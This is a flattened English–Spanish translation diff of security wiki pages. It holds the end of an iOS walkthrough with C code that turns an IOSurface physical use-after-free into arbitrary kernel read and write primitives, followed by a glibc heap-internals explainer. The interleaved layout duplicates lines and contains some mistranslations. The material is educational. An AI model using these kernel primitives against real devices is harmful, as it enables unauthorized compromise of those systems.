if (surfaceIDs[i] == info.surface) continue; if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]); iosurface_release(client, surfaceIDs[i]);
} }
free(surfaceIDs); free(surfaceIDs);
return 0; return 0;
} }
``` ```
### Lograr Lectura/Escritura en el Kernel con IOSurface
### Achieving Kernel Read/Write with IOSurface Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. **Campos Clave en IOSurface**
**Key Fields in IOSurface** El objeto IOSurface tiene dos campos cruciales:
The IOSurface object has two crucial fields: 1. **Puntero de Conteo de Uso**: Permite una **lectura de 32 bits**.
2. **Puntero de Marca de Tiempo Indexada**: Permite una **escritura de 64 bits**.
1. **Use Count Pointer**: Allows a **32-bit read**. Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. #### Lectura de Kernel de 32 Bits
#### 32-Bit Kernel Read Para realizar una lectura:
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
1. Sobrescribe el **puntero de conteo de uso** para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes.
2. Usa el método `get_use_count` para leer el valor en esa dirección.
```c ```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID}; uint64_t args[1] = {surfaceID};
uint32_t size = 1; uint32_t size = 1;
uint64_t out = 0; uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out; return (uint32_t)out;
} }
uint32_t iosurface_kread32(uint64_t addr) { uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object); uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface); uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig); iosurface_set_use_count_pointer(info.object, orig);
return value; return value;
} }
``` ```
#### Escritura en el Kernel de 64 Bits
#### 64-Bit Kernel Write Para realizar una escritura:
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
1. Sobrescribe el **puntero de marca de tiempo indexado** a la dirección objetivo.
2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits.
```c ```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value}; uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
} }
void iosurface_kwrite64(uint64_t addr, uint64_t value) { void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr); iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value); set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig); iosurface_set_indexed_timestamp_pointer(info.object, orig);
} }
``` ```
#### Resumen del Flujo de Explotación
#### Exploit Flow Recap 1. **Activar Uso-Físico Después de Liberar**: Las páginas liberadas están disponibles para reutilización.
2. **Rociar Objetos IOSurface**: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel.
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. 3. **Identificar IOSurface Accesible**: Localizar un IOSurface en una página liberada que controlas.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. 4. **Abusar del Uso-Físico Después de Liberar**: Modificar punteros en el objeto IOSurface para habilitar **lecturas/escrituras** arbitrarias en el **kernel** a través de métodos IOSurface.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
Con estas primitivas, la explotación proporciona **lecturas de 32 bits** y **escrituras de 64 bits** controladas en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos).

View File

@ -2,196 +2,189 @@
## Heap Basics ## Heap Basics
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. El heap es básicamente el lugar donde un programa podrá almacenar datos cuando solicita datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no es necesaria, se pone a disposición llamando a la función **`free`**.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): Como se muestra, está justo después de donde se carga el binario en memoria (ver la sección `[heap]`):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation ### Basic Chunk Allocation
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde se encuentra cada chunk. Para esto, se utiliza la información del chunk de metadatos para saber dónde se encuentra cada chunk usado/libre.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: Existen diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente:
- The program starts by requesting certain amount of memory. - El programa comienza solicitando cierta cantidad de memoria.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - Si en la lista de chunks hay uno disponible lo suficientemente grande para cumplir con la solicitud, se utilizará.
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list - Esto puede incluso significar que parte del chunk disponible se utilizará para esta solicitud y el resto se añadirá a la lista de chunks.
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk - Si no hay ningún chunk disponible en la lista pero aún hay espacio en la memoria del heap asignada, el administrador del heap crea un nuevo chunk.
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk - Si no hay suficiente espacio en el heap para asignar el nuevo chunk, el administrador del heap solicita al kernel que expanda la memoria asignada al heap y luego utiliza esta memoria para generar el nuevo chunk.
- If everything fails, `malloc` returns null. - Si todo falla, `malloc` devuelve null.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. Ten en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada.
## Arenas ## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. En aplicaciones **multihilo**, el administrador del heap debe prevenir **condiciones de carrera** que podrían llevar a fallos. Inicialmente, esto se hacía utilizando un **mutex global** para asegurar que solo un hilo pudiera acceder al heap a la vez, pero esto causaba **problemas de rendimiento** debido al cuello de botella inducido por el mutex.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. Para abordar esto, el asignador de heap ptmalloc2 introdujo "arenas", donde **cada arena** actúa como un **heap separado** con sus **propias** estructuras de **datos** y **mutex**, permitiendo que múltiples hilos realicen operaciones en el heap sin interferir entre sí, siempre que utilicen diferentes arenas.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. La arena "principal" por defecto maneja operaciones de heap para aplicaciones de un solo hilo. Cuando se añaden **nuevos hilos**, el administrador del heap les asigna **arenas secundarias** para reducir la contención. Primero intenta adjuntar cada nuevo hilo a una arena no utilizada, creando nuevas si es necesario, hasta un límite de 2 veces el número de núcleos de CPU para sistemas de 32 bits y 8 veces para sistemas de 64 bits. Una vez alcanzado el límite, **los hilos deben compartir arenas**, lo que lleva a una posible contención.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. A diferencia de la arena principal, que se expande utilizando la llamada al sistema `brk`, las arenas secundarias crean "subheaps" utilizando `mmap` y `mprotect` para simular el comportamiento del heap, permitiendo flexibilidad en la gestión de memoria para operaciones multihilo.
### Subheaps ### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: Los subheaps sirven como reservas de memoria para arenas secundarias en aplicaciones multihilo, permitiéndoles crecer y gestionar sus propias regiones de heap por separado del heap principal. Aquí se explica cómo los subheaps difieren del heap inicial y cómo operan:
1. **Initial Heap vs. Subheaps**: 1. **Heap Inicial vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - El heap inicial se encuentra directamente después del binario del programa en memoria, y se expande utilizando la llamada al sistema `sbrk`.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. - Los subheaps, utilizados por arenas secundarias, se crean a través de `mmap`, una llamada al sistema que mapea una región de memoria especificada.
2. **Memory Reservation with `mmap`**: 2. **Reserva de Memoria con `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deberían usar.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. - Por defecto, el tamaño reservado para un subheap es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits.
3. **Gradual Expansion with `mprotect`**: 3. **Expansión Gradual con `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - La región de memoria reservada se marca inicialmente como `PROT_NONE`, indicando que el kernel no necesita asignar memoria física a este espacio aún.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que lleva al kernel a asignar memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. - Una vez que se agota todo el subheap, el administrador del heap crea un nuevo subheap para continuar la asignación.
### heap_info <a href="#heap_info" id="heap_info"></a> ### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. Esta estructura asigna información relevante del heap. Además, la memoria del heap puede no ser continua después de más asignaciones, esta estructura también almacenará esa información.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info typedef struct _heap_info
{ {
mstate ar_ptr; /* Arena for this heap. */ mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */ struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */ size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */ PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */ size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly /* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */ MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info; } heap_info;
``` ```
### malloc_state ### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ **Cada heap** (arena principal u otras arenas de hilos) tiene una **estructura `malloc_state`.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ Es importante notar que la **estructura `malloc_state` de la arena principal** es una **variable global en la libc** (por lo tanto, ubicada en el espacio de memoria de la libc).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. En el caso de las **estructuras `malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**.
There some interesting things to note from this structure (see C code below): Hay algunas cosas interesantes a notar de esta estructura (ver el código C a continuación):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time - `__libc_lock_define (, mutex);` Está ahí para asegurar que esta estructura del heap sea accedida por 1 hilo a la vez.
- Flags: - Flags:
- ```c - ```c
#define NONCONTIGUOUS_BIT (2U) #define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
``` ```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
- El `mchunkptr bins[NBINS * 2 - 2];` contiene **punteros** a los **primeros y últimos chunks** de los **bins** pequeños, grandes y no ordenados (el -2 es porque el índice 0 no se usa).
- Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes **filtrar estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
- Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas.
- El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio.
- El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, un puntero a la parte restante se coloca aquí.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state struct malloc_state
{ {
/* Serialize access. */ /* Serialize access. */
__libc_lock_define (, mutex); __libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */ /* Flags (formerly in max_fast). */
int flags; int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */ /* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */ /* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks; int have_fastchunks;
/* Fastbins */ /* Fastbins */
mfastbinptr fastbinsY[NFASTBINS]; mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */ /* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; mchunkptr top;
/* The remainder from the most recent split of a small request */ /* The remainder from the most recent split of a small request */
mchunkptr last_remainder; mchunkptr last_remainder;
/* Normal bins packed as described above */ /* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */ /* Bitmap of bins */
unsigned int binmap[BINMAPSIZE]; unsigned int binmap[BINMAPSIZE];
/* Linked list */ /* Linked list */
struct malloc_state *next; struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized /* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */ by free_list_lock in arena.c. */
struct malloc_state *next_free; struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on /* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by the free list. Access to this field is serialized by
free_list_lock in arena.c. */ free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads; INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */ /* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem; INTERNAL_SIZE_T max_system_mem;
}; };
``` ```
### malloc_chunk ### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. Esta estructura representa un fragmento particular de memoria. Los diversos campos tienen diferentes significados para fragmentos asignados y no asignados.
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk { struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk; struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */ /* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize; struct malloc_chunk* bk_nextsize;
}; };
typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* mchunkptr;
``` ```
Como se comentó anteriormente, estos bloques también tienen algunos metadatos, muy bien representados en esta imagen:
As commented previously, these chunks also have some metadata, very good represented in this image:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: Los metadatos suelen ser 0x08B, indicando el tamaño actual del bloque utilizando los últimos 3 bits para indicar:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena - `A`: Si es 1 proviene de un subheap, si es 0 está en la arena principal
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap - `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no forma parte de un heap
- `P`: If 1, the previous chunk is in use - `P`: Si es 1, el bloque anterior está en uso
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado).
Moreover, when available, the user data is used to contain also some data: Además, cuando está disponible, los datos del usuario también se utilizan para contener algunos datos:
- **`fd`**: Pointer to the next chunk - **`fd`**: Puntero al siguiente bloque
- **`bk`**: Pointer to the previous chunk - **`bk`**: Puntero al bloque anterior
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself - **`fd_nextsize`**: Puntero al primer bloque en la lista que es más pequeño que él mismo
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself - **`bk_nextsize`:** Puntero al primer bloque en la lista que es más grande que él mismo
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE] > [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. > Nota cómo enlazar la lista de esta manera evita la necesidad de tener un array donde se registre cada bloque individualmente.
### Chunk Pointers ### Punteros de Bloque
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
Cuando se utiliza malloc, se devuelve un puntero al contenido que se puede escribir (justo después de los encabezados), sin embargo, al gestionar bloques, se necesita un puntero al principio de los encabezados (metadatos).\
Para estas conversiones se utilizan estas funciones:
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */ /* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \ #define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
``` ```
### Alineación y tamaño mínimo
### Alignment & min size El puntero al chunk y `0x0f` deben ser 0.
The pointer to the chunk and `0x0f` must be 0.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \ #define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK) & MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */ /* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant /* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */ if passed a literal constant. */
#define request2size(req) \ #define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \ MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting /* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */ previous checks fail. */
static inline size_t static inline size_t
checked_request2size (size_t req) __nonnull (1) checked_request2size (size_t req) __nonnull (1)
{ {
if (__glibc_unlikely (req > PTRDIFF_MAX)) if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0; return 0;
/* When using tagged memory, we cannot share the end of the user /* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed must be a macro that produces a compile time constant if passed
a constant literal. */ a constant literal. */
if (__glibc_unlikely (mtag_enabled)) if (__glibc_unlikely (mtag_enabled))
{ {
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm (""); asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) & req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1); ~(size_t)(__MTAG_GRANULE_SIZE - 1);
} }
return request2size (req); return request2size (req);
} }
``` ```
Tenga en cuenta que para calcular el espacio total necesario, solo se agrega `SIZE_SZ` 1 vez porque el campo `prev_size` se puede usar para almacenar datos, por lo tanto, solo se necesita el encabezado inicial.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. ### Obtener datos del Chunk y alterar metadatos
### Get Chunk data and alter metadata Estas funciones funcionan recibiendo un puntero a un chunk y son útiles para verificar/establecer metadatos:
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
- Verificar las banderas del chunk
```c ```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */ the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4 #define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */ /* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */ /* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
``` ```
- Tamaños y punteros a otros trozos
- Sizes and pointers to other chunks
```c ```c
/* /*
Bits to mask off when extracting size Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc. people extending or adapting this malloc.
*/ */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */ /* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */ /* Treat space at ptr + offset as a chunk */
